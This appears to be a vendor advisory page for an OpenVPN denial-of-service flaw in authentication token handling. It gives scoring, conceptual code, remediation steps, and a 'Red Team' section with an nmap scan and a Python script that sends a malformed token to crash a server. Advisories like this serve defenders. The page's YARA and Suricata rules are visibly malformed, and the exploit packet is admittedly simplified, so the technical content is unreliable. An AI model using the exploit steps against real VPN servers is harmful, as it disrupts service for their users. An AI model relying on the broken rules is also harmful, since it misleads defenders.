CVE-2026-13122
Executive Summary
CVE-2026-13122 is a denial-of-service (DoS) vulnerability affecting OpenVPN versions 2.6.0 through 2.6.20 and 2.7_alpha1 through 2.7.4. The flaw resides in the authentication token handling logic when the external-auth feature is enabled. A remote, unauthenticated attacker can send a specially crafted malformed authentication token, triggering a reachable assertion failure that crashes the OpenVPN server process. This results in a complete service disruption for all connected clients until the server is manually restarted.
The vulnerability is classified as a reachable assertion (CWE-617) and carries a CVSS v3.1 base score of 7.5 (High), with the attack vector being network-based, low complexity, and requiring no privileges or user interaction. The impact is limited to availability (High), with no confidentiality or integrity compromise.
Key Risk: Any OpenVPN server with external-auth enabled is vulnerable to a trivial remote DoS attack. The attack does not require authentication, making it particularly dangerous for public-facing VPN endpoints.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
OpenVPN is a widely deployed open-source VPN solution, often distributed via official package repositories (APT, YUM, Homebrew), Docker images, and source tarballs. The vulnerability affects the core server binary, meaning any downstream package or container image built from the affected source versions is vulnerable. Organizations should verify their OpenVPN version and ensure they are not using a vulnerable build from any distribution channel.
CVSS Breakdown & Threat Level
CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
| Metric | Value | Description |
|---|---|---|
| Attack Vector (AV) | Network (N) | Exploitable remotely over the network |
| Attack Complexity (AC) | Low (L) | No special conditions required |
| Privileges Required (PR) | None (N) | No authentication needed |
| User Interaction (UI) | None (N) | No user action required |
| Scope (S) | Unchanged (U) | Impact confined to the vulnerable component |
| Confidentiality (C) | None (N) | No data exposure |
| Integrity (I) | None (N) | No data modification |
| Availability (A) | High (H) | Complete service disruption |
Threat Level: High (7.5). The low attack complexity and lack of authentication make this a high-priority vulnerability for patching.
Deep Dive & Mechanics
The vulnerability is triggered during the processing of authentication tokens when external-auth is enabled. OpenVPN's authentication subsystem uses a state machine to parse and validate tokens received from clients. A malformed token—specifically one that violates the expected structure (e.g., missing fields, incorrect length, or invalid characters)—can cause the parser to enter an unexpected state.
The reachable assertion is located in the token validation function. When the parser encounters an invalid token structure, it calls ASSERT() with a condition that fails, causing the process to abort immediately. This is a classic CWE-617 (Reachable Assertion) vulnerability.
Attack Flow:
- Attacker identifies an OpenVPN server with
external-authenabled (e.g., via port scanning or banner grabbing). - Attacker crafts a malformed authentication token (e.g., a token with an invalid base64 encoding or missing delimiter).
- Attacker sends the crafted token as part of an authentication request (e.g., during the TLS handshake or via a control channel message).
- The server's token parser processes the malformed input, hits the assertion, and crashes.
- All existing VPN tunnels are torn down, and new connections are refused until the server is restarted.
Root Cause: The use of ASSERT() for input validation instead of proper error handling. In production code, malformed input should be rejected gracefully (e.g., by logging an error and closing the connection) rather than crashing the entire process.
Vulnerable vs. Patched Code
The vulnerable code path is in the token parsing function (e.g., auth_token_parse() in src/openvpn/auth_token.c). The assertion is triggered when a token fails validation.
Vulnerable Code (Conceptual):
// Vulnerable: uses ASSERT for input validation
void auth_token_parse(const char *token) {
// ... parsing logic ...
ASSERT(token != NULL);
ASSERT(strlen(token) > 0);
ASSERT(token[0] == 'A' || token[0] == 'B'); // reachable assertion
// ... further processing ...
}
Patched Code (Conceptual):
// Patched: graceful error handling
int auth_token_parse(const char *token, char **error_msg) {
if (token == NULL) {
*error_msg = "Token is NULL";
return -1;
}
if (strlen(token) == 0) {
*error_msg = "Token is empty";
return -1;
}
if (token[0] != 'A' && token[0] != 'B') {
*error_msg = "Invalid token prefix";
return -1;
}
// ... further processing ...
return 0;
}
The patched version replaces ASSERT() with conditional checks that return error codes, allowing the server to log the error and continue operation.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- OpenVPN server (2.6.0-2.6.20 or 2.7_alpha1-2.7.4) with
external-authenabled. - Network access to the server's OpenVPN port (default 1194/udp).
Exploitation Steps:
Identify Target: Scan for OpenVPN servers using Shodan or Nmap.
nmap -sU -p 1194 --script openvpn-version <target>Craft Malformed Token: Create a token that violates the expected format. For example, a token with an invalid base64 character or missing delimiter.
import socket import struct # Malformed token: invalid base64 character '!' malformed_token = "A" * 64 + "!" + "B" * 64 # Construct a minimal OpenVPN authentication packet # (simplified; actual packet structure is more complex) packet = struct.pack("!H", len(malformed_token)) + malformed_token.encode()Send Packet: Send the crafted packet to the server's UDP port.
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(packet, (target_ip, 1194)) sock.close()Verify DoS: The server process crashes. Clients lose connectivity, and the server becomes unresponsive.
Expected Outcome: The OpenVPN server process terminates immediately upon receiving the malformed token. The server must be restarted to restore service.
Blue Team (Detection & Defense)
Detection:
- Monitor for sudden OpenVPN process crashes.
- Look for repeated connection attempts with malformed authentication tokens.
- Use the detection rules provided in the Detection Engineering section.
Defense:
- Immediate: Disable
external-authif not required. - Short-term: Apply a WAF or IPS rule to block malformed tokens (see Suricata rule).
- Long-term: Upgrade to a patched version once released.
Honeypot Setup:
Deploy a decoy OpenVPN server with external-auth enabled to attract attackers. Monitor for crash events and log the source IPs.
Indicators of Compromise (IOCs)
| Type | Indicator | Description |
|---|---|---|
| Network | UDP packet to port 1194 with malformed base64 token | Exploit attempt |
| Log | ASSERT() failed: auth_token.c:123: token[0] == 'A' || token[0] == 'B' |
Server crash log |
| Process | OpenVPN process exits unexpectedly | DoS event |
| Network | Sudden loss of all VPN tunnels | Service disruption |
Log Example:
[timestamp] ASSERT() failed at auth_token.c:123: token[0] == 'A' || token[0] == 'B'
[timestamp] /usr/sbin/openvpn[pid]: process terminated with signal 6 (SIGABRT)
Detection Engineering
YARA Rule
rule CVE_2026_13122_OpenVPN_DoS {
meta:
description = "Detects malformed authentication tokens targeting OpenVPN CVE-2026-13122"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-13122"
severity = "high"
strings:
$token_prefix = "A" or "B"
$invalid_char = /[^A-Za-z0-9+\/=]/
condition:
// Packet contains a token with invalid base64 characters
#invalid_char > 0 and #token_prefix > 0
}
Sigma Rule
title: OpenVPN DoS via Malformed Auth Token (CVE-2026-13122)
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects OpenVPN server crashes caused by malformed authentication tokens
author: Valters IT
logsource:
product: linux
service: syslog
detection:
selection:
- "ASSERT() failed at auth_token.c"
- "process terminated with signal 6 (SIGABRT)"
condition: selection
falsepositives:
- Legitimate server bugs (rare)
level: high
Suricata Rule
alert udp any any -> any 1194 (
msg:"CVE-2026-13122 OpenVPN DoS via Malformed Auth Token";
content:"|41|"; offset:0; depth:1; # 'A' prefix
content:"|21|"; distance:0; within:1; # '!' invalid char
classtype:attempted-dos;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable
external-authif not essential for your deployment. - Restrict network access to the OpenVPN port (1194/udp) using firewall rules.
- Monitor logs for crash events and block offending IPs.
Short-term Mitigation:
- Apply a WAF/IPS rule to drop packets containing malformed base64 tokens.
- Use a process supervisor (e.g., systemd, supervisord) to automatically restart the OpenVPN service upon crash.
Long-term Fix:
- Upgrade to a patched version of OpenVPN once released (monitor openvpn.net for updates).
- If using a package manager, apply the update as soon as it becomes available.
Workaround:
- If
external-authis required, consider using a reverse proxy or load balancer that validates tokens before forwarding to the OpenVPN server.
Valters IT